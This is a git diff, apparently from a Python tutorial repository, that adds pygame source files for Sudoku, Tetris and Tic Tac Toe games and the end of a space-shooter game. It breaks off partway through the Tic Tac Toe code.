+		alien_to_player_collision = pygame.sprite.groupcollide(self.aliens, self.player, True, False)
+		if alien_to_player_collision:
+			self.player.sprite.life -= 1
+
+
+	def _alien_movement(self):
+		move_sideward = False
+		move_forward = False
+
+		for alien in self.aliens.sprites():
+			if alien.to_direction == "right" and alien.rect.right < WIDTH or alien.to_direction == "left" and alien.rect.left > 0:
+				move_sideward = True
+				move_forward = False
+			else:
+				move_sideward = False
+				move_forward = True
+				alien.to_direction = "left" if alien.to_direction == "right" else "right"
+				break
+
+		for alien in self.aliens.sprites():
+			if move_sideward and not move_forward:
+				if alien.to_direction == "right":
+					alien.move_right()
+				if alien.to_direction == "left":
+					alien.move_left()
+			if not move_sideward and move_forward:
+					alien.move_bottom()
+
+
+	def _alien_shoot(self):
+		for alien in self.aliens.sprites():
+			if (WIDTH - alien.rect.x) // CHARACTER_SIZE == (WIDTH - self.player.sprite.rect.x) // CHARACTER_SIZE:
+				alien._shoot()
+				break
+
+
+	def _check_game_state(self):
+		# check if game over
+		if self.player.sprite.life <= 0:
+			self.game_over = True
+			self.display.game_over_message()
+		for alien in self.aliens.sprites():
+			if alien.rect.top >= HEIGHT:
+				self.game_over = True
+				self.display.game_over_message()
+				break
+
+		# check if next level
+		if len(self.aliens) == 0 and self.player.sprite.life > 0:
+			self.game_level += 1
+			self._generate_aliens()
+			for alien in self.aliens.sprites():
+				alien.move_speed += self.game_level - 1
+
+
+	def update(self):
+		# detecting if bullet, alien, and player group is colliding
+		self._detect_collisions()
+
+		# allows the aliens to move
+		self._alien_movement()
+
+		# allows alien to shoot the player
+		self._alien_shoot()
+
+		# bullets rendering
+		self.player.sprite.player_bullets.update()
+		self.player.sprite.player_bullets.draw(self.screen)
+
+		[alien.bullets.update() for alien in self.aliens.sprites()]
+		[alien.bullets.draw(self.screen) for alien in self.aliens.sprites()]
+
+		# player ship rendering
+		self.player.update()
+		self.player.draw(self.screen)
+
+		# alien rendering
+		self.aliens.draw(self.screen)
+
+		# add nav
+		self.add_additionals()
+
+		# checks game state
+		self._check_game_state()
\ No newline at end of file
diff --git a/gui-programming/sudoku-game/README.md b/gui-programming/sudoku-game/README.md
new file mode 100644
index 00000000..00cb1d63
--- /dev/null
+++ b/gui-programming/sudoku-game/README.md
@@ -0,0 +1 @@
+# [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python)
\ No newline at end of file
diff --git a/gui-programming/sudoku-game/cell.py b/gui-programming/sudoku-game/cell.py
new file mode 100644
index 00000000..d529ec0b
--- /dev/null
+++ b/gui-programming/sudoku-game/cell.py
@@ -0,0 +1,46 @@
+import pygame
+from settings import convert_list
+
+pygame.font.init()
+
+class Cell:
+	def __init__(self, row, col, cell_size, value, is_correct_guess = None):
+		self.row = row
+		self.col = col
+		self.cell_size = cell_size
+		self.width = self.cell_size[0]
+		self.height = self.cell_size[1]
+		self.abs_x = row * self.width
+		self.abs_y = col * self.height
+		
+		self.value = value
+		self.is_correct_guess = is_correct_guess
+		self.guesses = None if self.value != 0 else [0 for x in range(9)]
+
+		self.color = pygame.Color("white")
+		self.font = pygame.font.SysFont('monospace', self.cell_size[0])
+		self.g_font = pygame.font.SysFont('monospace', (cell_size[0] // 3))
+
+		self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height)
+
+
+	def update(self, screen, SRN = None):
+		pygame.draw.rect(screen, self.color, self.rect)
+		
+		if self.value != 0:
+			font_color = pygame.Color("black") if self.is_correct_guess else pygame.Color("red")
+			num_val = self.font.render(str(self.value), True, font_color)
+			screen.blit(num_val, (self.abs_x, self.abs_y))
+		
+		elif self.value == 0 and self.guesses != None:
+			cv_list = convert_list(self.guesses, [SRN, SRN, SRN])
+			for y in range(SRN):
+				for x in range(SRN):
+					num_txt = " "
+					if cv_list[y][x] != 0:
+						num_txt = cv_list[y][x]
+					num_txt = self.g_font.render(str(num_txt), True, pygame.Color("orange"))
+					abs_x = (self.abs_x + ((self.width // SRN) * x))
+					abs_y = (self.abs_y + ((self.height // SRN) * y))
+					abs_pos = (abs_x, abs_y)
+					screen.blit(num_txt, abs_pos)
\ No newline at end of file
diff --git a/gui-programming/sudoku-game/clock.py b/gui-programming/sudoku-game/clock.py
new file mode 100644
index 00000000..dcad3950
--- /dev/null
+++ b/gui-programming/sudoku-game/clock.py
@@ -0,0 +1,31 @@
+import pygame, time
+from settings import CELL_SIZE
+
+pygame.font.init()
+
+class Clock:
+	def __init__(self):
+		self.start_time = None
+		self.elapsed_time = 0
+		self.font = pygame.font.SysFont("monospace", CELL_SIZE[0])
+		self.message_color = pygame.Color("black")
+
+	# Start the timer
+	def start_timer(self):
+		self.start_time = time.time()
+
+	# Update the timer
+	def update_timer(self):
+		if self.start_time is not None:
+			self.elapsed_time = time.time() - self.start_time
+
+	# Display the timer
+	def display_timer(self):
+		secs = int(self.elapsed_time % 60)
+		mins = int(self.elapsed_time / 60)
+		my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color)
+		return my_time
+
+	# Stop the timer
+	def stop_timer(self):
+		self.start_time = None
\ No newline at end of file
diff --git a/gui-programming/sudoku-game/main.py b/gui-programming/sudoku-game/main.py
new file mode 100644
index 00000000..bb0ab5b5
--- /dev/null
+++ b/gui-programming/sudoku-game/main.py
@@ -0,0 +1,53 @@
+import pygame, sys
+from settings import WIDTH, HEIGHT, CELL_SIZE
+from table import Table
+
+pygame.init()
+
+screen = pygame.display.set_mode((WIDTH, HEIGHT + (CELL_SIZE[1] * 3)))
+pygame.display.set_caption("Sudoku")
+
+pygame.font.init()
+
+class Main:
+	def __init__(self, screen):
+		self.screen = screen
+		self.FPS = pygame.time.Clock()
+		self.lives_font = pygame.font.SysFont("monospace", CELL_SIZE[0] // 2)
+		self.message_font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0]))
+		self.color = pygame.Color("darkgreen")
+
+	def main(self):
+		table = Table(self.screen)
+
+		while True:
+			self.screen.fill("gray")
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+				if event.type == pygame.MOUSEBUTTONDOWN:
+					if not table.game_over:
+						table.handle_mouse_click(event.pos)
+
+			# lower screen display
+			if not table.game_over:
+				my_lives = self.lives_font.render(f"Lives Left: {table.lives}", True, pygame.Color("black"))
+				self.screen.blit(my_lives, ((WIDTH // table.SRN) - (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2.2)))
+
+			else:
+				if table.lives <= 0:
+					message = self.message_font.render("GAME OVER!!", True, pygame.Color("red"))
+					self.screen.blit(message, (CELL_SIZE[0] + (CELL_SIZE[0] // 2), HEIGHT + (CELL_SIZE[1] * 2)))
+				elif table.lives > 0:
+					message = self.message_font.render("You Made It!!!", True, self.color)
+					self.screen.blit(message, (CELL_SIZE[0] , HEIGHT + (CELL_SIZE[1] * 2)))
+
+			table.update()
+			pygame.display.flip()
+			self.FPS.tick(30)
+
+
+if __name__ == "__main__":
+	play = Main(screen)
+	play.main()
\ No newline at end of file
diff --git a/gui-programming/sudoku-game/requirements.txt b/gui-programming/sudoku-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/sudoku-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/sudoku-game/settings.py b/gui-programming/sudoku-game/settings.py
new file mode 100644
index 00000000..d847156e
--- /dev/null
+++ b/gui-programming/sudoku-game/settings.py
@@ -0,0 +1,13 @@
+from itertools import islice
+
+
+WIDTH, HEIGHT = 450, 450
+
+N_CELLS = 9
+
+CELL_SIZE = (WIDTH // N_CELLS, HEIGHT // N_CELLS)
+
+# Convert 1D list to 2D list
+def convert_list(lst, var_lst):
+	it = iter(lst)
+	return [list(islice(it, i)) for i in var_lst]
diff --git a/gui-programming/sudoku-game/sudoku.py b/gui-programming/sudoku-game/sudoku.py
new file mode 100644
index 00000000..bda93b9a
--- /dev/null
+++ b/gui-programming/sudoku-game/sudoku.py
@@ -0,0 +1,132 @@
+import random
+import math
+import copy
+
+class Sudoku:
+	def __init__(self, N, E):
+		self.N = N
+		self.E = E
+
+		# compute square root of N
+		self.SRN = int(math.sqrt(N))
+		self.table = [[0 for x in range(N)] for y in range(N)]
+		self.answerable_table = None
+
+		self._generate_table()
+	
+	def _generate_table(self):
+		# fill the subgroups diagonally table/matrices
+		self.fill_diagonal()
+
+		# fill remaining empty subgroups
+		self.fill_remaining(0, self.SRN)
+
+		# Remove random Key digits to make game
+		self.remove_digits()
+	
+	def fill_diagonal(self):
+		for x in range(0, self.N, self.SRN):
+			self.fill_cell(x, x)
+	
+	def not_in_subgroup(self, rowstart, colstart, num):
+		for x in range(self.SRN):
+			for y in range(self.SRN):
+				if self.table[rowstart + x][colstart + y] == num:
+					return False
+		return True
+	
+	def fill_cell(self, row, col):
+		num = 0
+		for x in range(self.SRN):
+			for y in range(self.SRN):
+				while True:
+					num = self.random_generator(self.N)
+					if self.not_in_subgroup(row, col, num):
+						break
+				self.table[row + x][col + y] = num
+	
+	def random_generator(self, num):
+		return math.floor(random.random() * num + 1)
+	
+	def safe_position(self, row, col, num):
+		return (self.not_in_row(row, num) and self.not_in_col(col, num) and self.not_in_subgroup(row - row % self.SRN, col - col % self.SRN, num))
+	
+	def not_in_row(self, row, num):
+		for col in range(self.N):
+			if self.table[row][col] == num:
+				return False
+		return True
+	
+	def not_in_col(self, col, num):
+		for row in range(self.N):
+			if self.table[row][col] == num:
+				return False
+		return True
+	
+	
+	def fill_remaining(self, row, col):
+		# check if we have reached the end of the matrix
+		if row == self.N - 1 and col == self.N:
+			return True
+	
+		# move to the next row if we have reached the end of the current row
+		if col == self.N:
+			row += 1
+			col = 0
+	
+		# skip cells that are already filled
+		if self.table[row][col] != 0:
+			return self.fill_remaining(row, col + 1)
+	
+		# try filling the current cell with a valid value
+		for num in range(1, self.N + 1):
+			if self.safe_position(row, col, num):
+				self.table[row][col] = num
+				if self.fill_remaining(row, col + 1):
+					return True
+				self.table[row][col] = 0
+		
+		# no valid value was found, so backtrack
+		return False
+
+	def remove_digits(self):
+		count = self.E
+
+		# replicates the table so we can have a filled and pre-filled copy
+		self.answerable_table = copy.deepcopy(self.table)
+
+		# removing random numbers to create the puzzle sheet
+		while (count != 0):
+			row = self.random_generator(self.N) - 1
+			col = self.random_generator(self.N) - 1
+			if (self.answerable_table[row][col] != 0):
+				count -= 1
+				self.answerable_table[row][col] = 0
+
+
+	def puzzle_table(self):
+		return self.answerable_table
+
+	def puzzle_answers(self):
+		return self.table
+
+
+	def printSudoku(self):
+		for row in range(self.N):
+			for col in range(self.N):
+				print(self.table[row][col], end=" ")
+			print()
+
+		print("")
+
+		for row in range(self.N):
+			for col in range(self.N):
+				print(self.answerable_table[row][col], end=" ")
+			print()
+
+
+if __name__ == "__main__":
+	N = 9
+	E = (N * N) // 2
+	sudoku = Sudoku(N, E)
+	sudoku.printSudoku()
diff --git a/gui-programming/sudoku-game/table.py b/gui-programming/sudoku-game/table.py
new file mode 100644
index 00000000..f077ba99
--- /dev/null
+++ b/gui-programming/sudoku-game/table.py
@@ -0,0 +1,220 @@
+import pygame
+import math
+from cell import Cell
+from sudoku import Sudoku
+from clock import Clock
+
+from settings import WIDTH, HEIGHT, N_CELLS, CELL_SIZE
+
+pygame.font.init()
+
+class Table:
+	def __init__(self, screen):
+		self.screen = screen
+
+		self.puzzle = Sudoku(N_CELLS, (N_CELLS * N_CELLS) // 2)
+		self.clock = Clock()
+
+		self.answers = self.puzzle.puzzle_answers()
+		self.answerable_table = self.puzzle.puzzle_table()
+		self.SRN = self.puzzle.SRN
+
+		self.table_cells = []
+		self.num_choices = []
+		self.clicked_cell = None
+		self.clicked_num_below = None
+		self.cell_to_empty = None
+		self.making_move = False
+		self.guess_mode = True
+
+		self.lives = 3
+		self.game_over = False
+
+		self.delete_button = pygame.Rect(0, (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1]))
+		self.guess_button = pygame.Rect((CELL_SIZE[0] * 6), (HEIGHT + CELL_SIZE[1]), (CELL_SIZE[0] * 3), (CELL_SIZE[1]))
+		self.font = pygame.font.SysFont('Bauhaus 93', (CELL_SIZE[0] // 2))
+		self.font_color = pygame.Color("white")
+	
+		self._generate_game()
+		self.clock.start_timer()
+
+
+	def _generate_game(self):
+		# generating sudoku table
+		for y in range(N_CELLS):
+			for x in range(N_CELLS):
+				cell_value = self.answerable_table[y][x]
+				is_correct_guess = True if cell_value != 0 else False
+				self.table_cells.append(Cell(x, y, CELL_SIZE, cell_value, is_correct_guess))
+
+		# generating number choices
+		for x in range(N_CELLS):
+			self.num_choices.append(Cell(x, N_CELLS, CELL_SIZE, x + 1))
+
+
+	def _draw_grid(self):
+		grid_color = (50, 80, 80)
+		pygame.draw.rect(self.screen, grid_color, (-3, -3, WIDTH + 6, HEIGHT + 6), 6)
+
+		i = 1
+		while (i * CELL_SIZE[0]) < WIDTH:
+			line_size = 2 if i % 3 > 0 else 4
+			pygame.draw.line(self.screen, grid_color, ((i * CELL_SIZE[0]) - (line_size // 2), 0), ((i * CELL_SIZE[0]) - (line_size // 2), HEIGHT), line_size)
+			pygame.draw.line(self.screen, grid_color, (0, (i * CELL_SIZE[0]) - (line_size // 2)), (HEIGHT, (i * CELL_SIZE[0]) - (line_size // 2)), line_size)
+			i += 1
+
+
+	def _draw_buttons(self):
+		# adding delete button details
+		dl_button_color = pygame.Color("red")
+		pygame.draw.rect(self.screen, dl_button_color, self.delete_button)
+		del_msg = self.font.render("Delete", True, self.font_color)
+		self.screen.blit(del_msg, (self.delete_button.x + (CELL_SIZE[0] // 2), self.delete_button.y + (CELL_SIZE[1] // 4)))
+		# adding guess button details
+		gss_button_color = pygame.Color("blue") if self.guess_mode else pygame.Color("purple")
+		pygame.draw.rect(self.screen, gss_button_color, self.guess_button)
+		gss_msg = self.font.render("Guess: On" if self.guess_mode else "Guess: Off", True, self.font_color)
+		self.screen.blit(gss_msg, (self.guess_button.x + (CELL_SIZE[0] // 3), self.guess_button.y + (CELL_SIZE[1] // 4)))
+
+
+	def _get_cell_from_pos(self, pos):
+		for cell in self.table_cells:
+			if (cell.row, cell.col) == (pos[0], pos[1]):
+				return cell
+
+
+	# checking rows, cols, and subgroups for adding guesses on each cell
+	def _not_in_row(self, row, num):
+		for cell in self.table_cells:
+			if cell.row == row:
+				if cell.value == num:
+					return False
+		return True
+	
+	def _not_in_col(self, col, num):
+		for cell in self.table_cells:
+			if cell.col == col:
+				if cell.value == num:
+					return False
+		return True
+
+	def _not_in_subgroup(self, rowstart, colstart, num):
+		for x in range(self.SRN):
+			for y in range(self.SRN):
+				current_cell = self._get_cell_from_pos((rowstart + x, colstart + y))
+				if current_cell.value == num:
+					return False
+		return True
+
+
+	# remove numbers in guess if number already guessed in the same row, col, subgroup correctly
+	def _remove_guessed_num(self, row, col, rowstart, colstart, num):
+		for cell in self.table_cells:
+			if cell.row == row and cell.guesses != None:
+				for x_idx,guess_row_val in enumerate(cell.guesses):
+					if guess_row_val == num:
+						cell.guesses[x_idx] = 0
+			if cell.col == col and cell.guesses != None:
+				for y_idx,guess_col_val in enumerate(cell.guesses):
+					if guess_col_val == num:
+						cell.guesses[y_idx] = 0
+
+		for x in range(self.SRN):
+			for y in range(self.SRN):
+				current_cell = self._get_cell_from_pos((rowstart + x, colstart + y))
+				if current_cell.guesses != None:
+					for idx,guess_val in enumerate(current_cell.guesses):
+						if guess_val == num:
+							current_cell.guesses[idx] = 0
+
+
+	def handle_mouse_click(self, pos):
+		x, y = pos[0], pos[1]
+
+		# getting table cell clicked
+		if x <= WIDTH and y <= HEIGHT:
+			x = x // CELL_SIZE[0]
+			y = y // CELL_SIZE[1]
+			clicked_cell = self._get_cell_from_pos((x, y))
+
+			# if clicked empty cell
+			if clicked_cell.value == 0:
+				self.clicked_cell = clicked_cell
+				self.making_move = True
+
+			# clicked unempty cell but with wrong number guess
+			elif clicked_cell.value != 0 and clicked_cell.value != self.answers[y][x]:
+				self.cell_to_empty = clicked_cell
+
+		# getting number selected
+		elif x <= WIDTH and y >= HEIGHT and y <= (HEIGHT + CELL_SIZE[1]):
+			x = x // CELL_SIZE[0]
+			self.clicked_num_below = self.num_choices[x].value
+
+		# deleting numbers
+		elif x <= (CELL_SIZE[0] * 3) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2):
+			if self.cell_to_empty:
+				self.cell_to_empty.value = 0
+				self.cell_to_empty = None
+
+		# selecting modes
+		elif x >= (CELL_SIZE[0] * 6) and y >= (HEIGHT + CELL_SIZE[1]) and y <= (HEIGHT + CELL_SIZE[1] * 2):
+			self.guess_mode = True if not self.guess_mode else False
+
+		# if making a move
+		if self.clicked_num_below and self.clicked_cell != None and self.clicked_cell.value == 0:
+			current_row = self.clicked_cell.row
+			current_col = self.clicked_cell.col
+			rowstart = self.clicked_cell.row - self.clicked_cell.row % self.SRN
+			colstart = self.clicked_cell.col - self.clicked_cell.col % self.SRN
+
+			if self.guess_mode:
+				# checking the vertical group, the horizontal group, and the subgroup
+				if self._not_in_row(current_row, self.clicked_num_below) and self._not_in_col(current_col, self.clicked_num_below):
+					if self._not_in_subgroup(rowstart, colstart, self.clicked_num_below):
+						if self.clicked_cell.guesses != None:
+							self.clicked_cell.guesses[self.clicked_num_below - 1] = self.clicked_num_below
+			else:
+				self.clicked_cell.value = self.clicked_num_below
+				# if the player guess correctly
+				if self.clicked_num_below == self.answers[self.clicked_cell.col][self.clicked_cell.row]:
+					self.clicked_cell.is_correct_guess = True
+					self.clicked_cell.guesses = None
+					self._remove_guessed_num(current_row, current_col, rowstart, colstart, self.clicked_num_below)
+				# if guess is wrong
+				else:
+					self.clicked_cell.is_correct_guess = False
+					self.clicked_cell.guesses = [0 for x in range(9)]
+					self.lives -= 1
+			self.clicked_num_below = None
+			self.making_move = False
+		else:
+			self.clicked_num_below = None
+
+
+	def _puzzle_solved(self):
+		check = None
+		for cell in self.table_cells:
+			if cell.value == self.answers[cell.col][cell.row]:
+				check = True
+			else:
+				check = False
+				break
+		return check
+
+
+	def update(self):
+		[cell.update(self.screen, self.SRN) for cell in self.table_cells]
+
+		[num.update(self.screen) for num in self.num_choices]
+
+		self._draw_grid()
+		self._draw_buttons()
+
+		if self._puzzle_solved() or self.lives == 0:
+			self.clock.stop_timer()
+			self.game_over = True
+		else:
+			self.clock.update_timer()
+
+		self.screen.blit(self.clock.display_timer(), (WIDTH // self.SRN,HEIGHT + CELL_SIZE[1]))
\ No newline at end of file
diff --git a/gui-programming/tetris-game/README.md b/gui-programming/tetris-game/README.md
new file mode 100644
index 00000000..285ab6c4
--- /dev/null
+++ b/gui-programming/tetris-game/README.md
@@ -0,0 +1 @@
+# [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python)
diff --git a/gui-programming/tetris-game/requirements.txt b/gui-programming/tetris-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/tetris-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/tetris-game/tetris.py b/gui-programming/tetris-game/tetris.py
new file mode 100644
index 00000000..45f3224e
--- /dev/null
+++ b/gui-programming/tetris-game/tetris.py
@@ -0,0 +1,266 @@
+import sys
+import pygame
+import random
+
+pygame.init()
+
+# Screen dimensions
+WIDTH, HEIGHT = 800, 600
+GRID_SIZE = 25
+
+# Colors
+WHITE = (255, 255, 255)
+BLACK = (0, 0, 0)
+RED = (255, 0, 0)
+BLUE = (0, 0, 255)
+GREEN = (0, 255, 0)
+COLORS = [RED, BLUE, GREEN]
+
+# Tetromino shapes
+SHAPES = [
+    [
+        ['.....',
+         '.....',
+         '.....',
+         'OOOO.',
+         '.....'],
+        ['.....',
+         '..O..',
+         '..O..',
+         '..O..',
+         '..O..']
+    ],
+    [
+        ['.....',
+         '.....',
+         '..O..',
+         '.OOO.',
+         '.....'],
+        ['.....',
+         '..O..',
+         '.OO..',
+         '..O..',
+         '.....'],
+        ['.....',
+         '.....',
+         '.OOO.',
+         '..O..',
+         '.....'],
+        ['.....',
+         '..O..',
+         '..OO.',
+         '..O..',
+         '.....']
+    ],
+    [
+        [
+         '.....',
+         '.....',
+         '..OO.',
+         '.OO..',
+         '.....'],
+        ['.....',
+         '.....',
+         '.OO..',
+         '..OO.',
+         '.....'],
+        ['.....',
+         '.O...',
+         '.OO..',
+         '..O..',
+         '.....'],
+        ['.....',
+         '..O..',
+         '.OO..',
+         '.O...',
+         '.....']
+    ],
+    [
+        ['.....',
+         '..O..',
+         '..O.',
+         '..OO.',
+         '.....'],
+        ['.....',
+         '...O.',
+         '.OOO.',
+         '.....',
+         '.....'],
+        ['.....',
+         '.OO..',
+         '..O..',
+         '..O..',
+         '.....'],
+        ['.....',
+         '.....',
+         '.OOO.',
+         '.O...',
+         '.....']
+    ],
+]
+
+
+class Tetromino:
+    def __init__(self, x, y, shape):
+        self.x = x
+        self.y = y
+        self.shape = shape
+        self.color = random.choice(COLORS) # You can choose different colors for each shape
+        self.rotation = 0
+
+
+class Tetris:
+    def __init__(self, width, height):
+        self.width = width
+        self.height = height
+        self.grid = [[0 for _ in range(width)] for _ in range(height)]
+        self.current_piece = self.new_piece()
+        self.game_over = False
+        self.score = 0  # Add score attribute
+
+    def new_piece(self):
+        # Choose a random shape
+        shape = random.choice(SHAPES)
+        # Return a new Tetromino object
+        return Tetromino(self.width // 2, 0, shape)
+
+    def valid_move(self, piece, x, y, rotation):
+        """Check if the piece can move to the given position"""
+        for i, row in enumerate(piece.shape[(piece.rotation + rotation) % len(piece.shape)]):
+            for j, cell in enumerate(row):
+                try:
+                    if cell == 'O' and (self.grid[piece.y + i + y][piece.x + j + x] != 0):
+                        return False
+                except IndexError:
+                    return False
+        return True
+
+    def clear_lines(self):
+        """Clear the lines that are full and return the number of cleared lines"""
+        lines_cleared = 0
+        for i, row in enumerate(self.grid[:-1]):
+            if all(cell != 0 for cell in row):
+                lines_cleared += 1
+                del self.grid[i]
+                self.grid.insert(0, [0 for _ in range(self.width)])
+        return lines_cleared
+
+    def lock_piece(self, piece):
+        """Lock the piece in place and create a new piece"""
+        for i, row in enumerate(piece.shape[piece.rotation % len(piece.shape)]):
+            for j, cell in enumerate(row):
+                if cell == 'O':
+                    self.grid[piece.y + i][piece.x + j] = piece.color
+        # Clear the lines and update the score
+        lines_cleared = self.clear_lines()
+        self.score += lines_cleared * 100  # Update the score based on the number of cleared lines
+        # Create a new piece
+        self.current_piece = self.new_piece()
+        # Check if the game is over
+        if not self.valid_move(self.current_piece, 0, 0, 0):
+            self.game_over = True
+        return lines_cleared
+
+    def update(self):
+        """Move the tetromino down one cell"""
+        if not self.game_over:
+            if self.valid_move(self.current_piece, 0, 1, 0):
+                self.current_piece.y += 1
+            else:
+                self.lock_piece(self.current_piece)
+
+    def draw(self, screen):
+        """Draw the grid and the current piece"""
+        for y, row in enumerate(self.grid):
+            for x, cell in enumerate(row):
+                if cell:
+                    pygame.draw.rect(screen, cell, (x * GRID_SIZE, y * GRID_SIZE, GRID_SIZE - 1, GRID_SIZE - 1))
+
+        if self.current_piece:
+            for i, row in enumerate(self.current_piece.shape[self.current_piece.rotation % len(self.current_piece.shape)]):
+                for j, cell in enumerate(row):
+                    if cell == 'O':
+                        pygame.draw.rect(screen, self.current_piece.color, ((self.current_piece.x + j) * GRID_SIZE, (self.current_piece.y + i) * GRID_SIZE, GRID_SIZE - 1, GRID_SIZE - 1))
+
+
+def draw_score(screen, score, x, y):
+    """Draw the score on the screen"""
+    font = pygame.font.Font(None, 36)
+    text = font.render(f"Score: {score}", True, WHITE)
+    screen.blit(text, (x, y))
+    
+    
+def draw_game_over(screen, x, y):
+    """Draw the game over text on the screen"""
+    font = pygame.font.Font(None, 48)
+    text = font.render("Game Over", True, RED)
+    screen.blit(text, (x, y))
+
+
+def main():
+    # Initialize pygame
+    screen = pygame.display.set_mode((WIDTH, HEIGHT))
+    pygame.display.set_caption('Tetris')
+    # Create a clock object
+    clock = pygame.time.Clock()
+    # Create a Tetris object
+    game = Tetris(WIDTH // GRID_SIZE, HEIGHT // GRID_SIZE)
+    fall_time = 0
+    fall_speed = 50  # You can adjust this value to change the falling speed, it's in milliseconds
+    while True:
+        # Fill the screen with black
+        screen.fill(BLACK) 
+        for event in pygame.event.get():
+            # Check for the QUIT event
+            if event.type == pygame.QUIT:
+                pygame.quit()
+                sys.exit()
+            # Check for the KEYDOWN event
+            if event.type == pygame.KEYDOWN:
+                if event.key == pygame.K_LEFT:
+                    if game.valid_move(game.current_piece, -1, 0, 0):
+                        game.current_piece.x -= 1 # Move the piece to the left
+                if event.key == pygame.K_RIGHT:
+                    if game.valid_move(game.current_piece, 1, 0, 0):
+                        game.current_piece.x += 1 # Move the piece to the right
+                if event.key == pygame.K_DOWN:
+                    if game.valid_move(game.current_piece, 0, 1, 0):
+                        game.current_piece.y += 1 # Move the piece down
+                if event.key == pygame.K_UP:
+                    if game.valid_move(game.current_piece, 0, 0, 1):
+                        game.current_piece.rotation += 1 # Rotate the piece
+                if event.key == pygame.K_SPACE:
+                    while game.valid_move(game.current_piece, 0, 1, 0):
+                        game.current_piece.y += 1 # Move the piece down until it hits the bottom
+                    game.lock_piece(game.current_piece) # Lock the piece in place
+        # Get the number of milliseconds since the last frame
+        delta_time = clock.get_rawtime() 
+        # Add the delta time to the fall time
+        fall_time += delta_time 
+        if fall_time >= fall_speed:
+            # Move the piece down
+            game.update()
+            # Reset the fall time
+            fall_time = 0
+        # Draw the score on the screen
+        draw_score(screen, game.score, 10, 10)
+        # Draw the grid and the current piece
+        game.draw(screen)
+        if game.game_over:
+            # Draw the "Game Over" message
+            draw_game_over(screen, WIDTH // 2 - 100, HEIGHT // 2 - 30)  # Draw the "Game Over" message
+            # You can add a "Press any key to restart" message here
+            # Check for the KEYDOWN event
+            if event.type == pygame.KEYDOWN:
+                # Create a new Tetris object
+                game = Tetris(WIDTH // GRID_SIZE, HEIGHT // GRID_SIZE)
+        # Update the display
+        pygame.display.flip()
+        # Set the framerate
+        clock.tick(60)
+
+
+if __name__ == "__main__":
+    main()
+
+
diff --git a/gui-programming/tictactoe-game/README.md b/gui-programming/tictactoe-game/README.md
new file mode 100644
index 00000000..8ae7c363
--- /dev/null
+++ b/gui-programming/tictactoe-game/README.md
@@ -0,0 +1 @@
+# [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python)
\ No newline at end of file
diff --git a/gui-programming/tictactoe-game/requirements.txt b/gui-programming/tictactoe-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/tictactoe-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/tictactoe-game/tictactoe.py b/gui-programming/tictactoe-game/tictactoe.py
new file mode 100644
index 00000000..5c72a43b
--- /dev/null
+++ b/gui-programming/tictactoe-game/tictactoe.py
@@ -0,0 +1,206 @@
+import pygame
+from pygame.locals import *
+
+pygame.init()
+pygame.font.init()
+
+window_size = (450, 500)
+
+screen = pygame.display.set_mode(window_size)
+pygame.display.set_caption("Tic Tac Toe")
+
+
+class TicTacToe():
+
+	def __init__(self, table_size):
+		self.table_size = table_size
+		self.cell_size = table_size // 3
+		self.table_space = 20
+
+		self.player = "X"
+		self.winner = None
+		self.taking_move = True
+		self.running = True
+		self.table = []
+		for col in range(3):
+			self.table.append([])
+			for row in range(3):
+				self.table[col].append("-")
+
+		self.background_color = (255, 174, 66)
+		self.table_color = (50, 50, 50)
+		self.line_color = (190, 0, 10)
+		self.instructions_color = (17, 53, 165)
+		self.game_over_bg_color = (47, 98, 162)
+		self.game_over_color = (255, 179, 1)
+		self.font = pygame.font.SysFont("Courier New", 35)
+		self.FPS = pygame.time.Clock()
+
+
+	# draws table representation
+	def _draw_table(self):
+		tb_space_point = (self.table_space, self.table_size - self.table_space)
+		cell_space_point = (self.cell_size, self.cell_size * 2)
+		r1 = pygame.draw.line(screen, self.table_color, [tb_space_point[0], cell_space_point[0]], [tb_space_point[1], cell_space_point[0]], 8)
+		c1 = pygame.draw.line(screen, self.table_color, [cell_space_point[0], tb_space_point[0]], [cell_space_point[0], tb_space_point[1]], 8)
+		r2 = pygame.draw.line(screen, self.table_color, [tb_space_point[0], cell_space_point[1]], [tb_space_point[1], cell_space_point[1]], 8)
+		c2 = pygame.draw.line(screen, self.table_color, [cell_space_point[1], tb_space_point[0]], [cell_space_point[1], tb_space_point[1]], 8)
+
+
+	def _change_player(self):
+		self.player = "O" if self.player == "X" else "X"
+
+
+	# processing clicks to move
+	def _move(self, pos):
+		try:
+			x, y = pos[0] // self.cell_size, pos[1] // self.cell_size
+			if self.table[x][y] == "-":
+				self.table[x][y] = self.player
+				self._draw_char(x,y,self.player)
+				self._game_check()
+				self._change_player()
+		except:
+			print("Click inside the table only")
+
+
+	# draws character of the recent player to the selected table cell
+	def _draw_char(self, x, y, player):
+		if self.player == "O":
+			img = pygame.image.load("images/Tc-O.png")
+		elif self.player == "X":
+			img = pygame.image.load("images/Tc-X.png")
+		img = pygame.transform.scale(img, (self.cell_size, self.cell_size))
+		screen.blit(img, (x * self.cell_size, y * self.cell_size, self.cell_size, self.cell_size))
+
+
+	# instructions and game-state messages
+	def _message(self):
+		if self.winner is not None:
+			screen.fill(self.game_over_bg_color, (130, 445, 193, 35))
+			msg = self.font.render(f'{self.winner} WINS!!', True, self.game_over_color)
+			screen.blit(msg,(144,445))
+		elif not self.taking_move:
+			screen.fill(self.game_over_bg_color, (130, 445, 193, 35))
